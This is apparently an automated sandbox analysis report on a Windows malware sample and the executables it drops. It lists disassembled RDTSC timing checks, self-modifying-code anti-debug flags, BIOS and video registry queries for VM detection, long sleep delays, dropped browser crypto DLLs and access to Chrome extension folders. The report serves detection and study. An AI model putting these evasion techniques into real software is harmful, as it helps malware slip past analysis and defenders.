Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B20C9 second address: 5B2179 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC41848h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jg 00007F6DFCC4183Ch 0x00000012 pushad 0x00000013 je 00007F6DFCC41836h 0x00000019 jmp 00007F6DFCC41847h 0x0000001e popad 0x0000001f popad 0x00000020 nop 0x00000021 mov esi, dword ptr [ebp+122D3585h] 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c call 00007F6DFCC41838h 0x00000031 pop edx 0x00000032 mov dword ptr [esp+04h], edx 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc edx 0x0000003f push edx 0x00000040 ret 0x00000041 pop edx 0x00000042 ret 0x00000043 movzx ecx, cx 0x00000046 sub dword ptr [ebp+122D1F39h], ebx 0x0000004c call 00007F6DFCC4183Eh 0x00000051 pushad 0x00000052 mov ebx, edi 0x00000054 xor dword ptr [ebp+122D387Eh], ebx 0x0000005a popad 0x0000005b pop esi 0x0000005c call 00007F6DFCC41839h 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F6DFCC4183Ch 0x00000068 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B2179 second address: 5B21B8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6DFD003CB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d ja 00007F6DFD003CC4h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jnc 00007F6DFD003CC8h 0x0000001f rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B21B8 second address: 5B21D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6DFCC41849h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B21D6 second address: 5B220C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F6DFD003CC1h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6DFD003CC5h 0x0000001a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B22E2 second address: 5B22E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B22E6 second address: 5B22F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5C4270 second address: 5C4276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5C4276 second address: 5C4284 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5C4284 second address: 5C428F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6DFCC41836h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5C428F second address: 5C429D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CBAh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5C429D second address: 5C42A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5CFE90 second address: 5CFEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6DFD003CB6h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F6DFD003CB8h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D0A04 second address: 5D0A1C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6DFCC41836h 0x00000008 jo 00007F6DFCC41836h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007F6DFCC41838h 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D0B50 second address: 5D0B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnc 00007F6DFD003CB6h 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D0E5E second address: 5D0E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D0E63 second address: 5D0E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D0E69 second address: 5D0E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D1900 second address: 5D1904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D1904 second address: 5D191A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 js 00007F6DFCC41836h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F6DFCC41836h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D1AB8 second address: 5D1ABC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D1ABC second address: 5D1AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D1DAA second address: 5D1DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F6DFD003CC9h 0x00000012 jne 00007F6DFD003CB6h 0x00000018 jnp 00007F6DFD003CB6h 0x0000001e popad 0x0000001f jmp 00007F6DFD003CC4h 0x00000024 pushad 0x00000025 push esi 0x00000026 pop esi 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D6EE5 second address: 5D6EE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D7449 second address: 5D7453 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6DFD003CBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D75E3 second address: 5D7603 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jnp 00007F6DFCC41836h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F6DFCC4183Ch 0x0000001a jnp 00007F6DFCC41836h 0x00000020 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D7603 second address: 5D760D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F6DFD003CB6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D760D second address: 5D7637 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC41842h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F6DFCC4183Ch 0x00000017 jl 00007F6DFCC41836h 0x0000001d rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D7637 second address: 5D7645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CBAh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D7645 second address: 5D7670 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6DFCC41836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jns 00007F6DFCC41840h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jp 00007F6DFCC41836h 0x00000021 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5D7670 second address: 5D7674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 59BEC9 second address: 59BECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 59BECD second address: 59BED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 59BED1 second address: 59BED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 59BED7 second address: 59BEEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F6DFD003CBEh 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 59BEEB second address: 59BEFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F6DFCC41836h 0x00000009 jnp 00007F6DFCC41836h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5A6189 second address: 5A618D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5A618D second address: 5A6191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5DF311 second address: 5DF315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5DF315 second address: 5DF31B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5DF31B second address: 5DF320 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5DF320 second address: 5DF326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5DF5FA second address: 5DF604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F6DFD003CB6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5DF604 second address: 5DF608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5DF9AC second address: 5DF9B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5DF9B0 second address: 5DF9B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5DF9B6 second address: 5DF9E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007F6DFD003CC8h 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edx 0x00000012 push ecx 0x00000013 jno 00007F6DFD003CB6h 0x00000019 jnp 00007F6DFD003CB6h 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5DFB40 second address: 5DFB4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6DFCC41836h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5DFB4C second address: 5DFB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E0499 second address: 5E049D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E049D second address: 5E04A9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E04A9 second address: 5E0502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFCC41845h 0x00000009 popad 0x0000000a pop ebx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jno 00007F6DFCC4183Ah 0x00000015 mov eax, dword ptr [eax] 0x00000017 jns 00007F6DFCC41854h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E0502 second address: 5E0506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E0506 second address: 5E0510 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6DFCC41836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E090C second address: 5E0928 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CC8h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E1169 second address: 5E116D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E1229 second address: 5E1249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6DFD003CBEh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F6DFD003CB8h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E1338 second address: 5E1342 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6DFCC41836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E1342 second address: 5E1348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E156C second address: 5E1570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E1570 second address: 5E1581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F6DFD003CB6h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E1581 second address: 5E159E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC41849h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E159E second address: 5E15AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CBDh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E1B0E second address: 5E1B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E249E second address: 5E24A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E24A4 second address: 5E24A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E3540 second address: 5E3545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5E3545 second address: 5E35A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6DFCC41836h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F6DFCC41838h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a add dword ptr [ebp+122D1C57h], edi 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 sub dword ptr [ebp+1245810Eh], edx 0x00000039 pop esi 0x0000003a push 00000000h 0x0000003c mov esi, dword ptr [ebp+122D3039h] 0x00000042 xchg eax, ebx 0x00000043 pushad 0x00000044 pushad 0x00000045 pushad 0x00000046 popad 0x00000047 jl 00007F6DFCC41836h 0x0000004d popad 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BBF93D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BBFA9A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BBF988 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D62A14 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DEECB4 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Special instruction interceptor: First address: 42ED17 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Special instruction interceptor: First address: 42EC75 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Special instruction interceptor: First address: 5D74A8 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Special instruction interceptor: First address: 5FCC89 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Special instruction interceptor: First address: 5E7F69 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Special instruction interceptor: First address: 65EEF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 59ED17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 59EC75 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7474A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 76CC89 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 757F69 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7CEEF2 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

Code function: 22_2_04C00DE4 rdtsc

22_2_04C00DE4

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\babababa[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1006652001\babababa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 616	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6660	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5996	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6568	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8736	Thread sleep count: 45 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8736	Thread sleep time: -1350000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8736	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C63C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C63C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
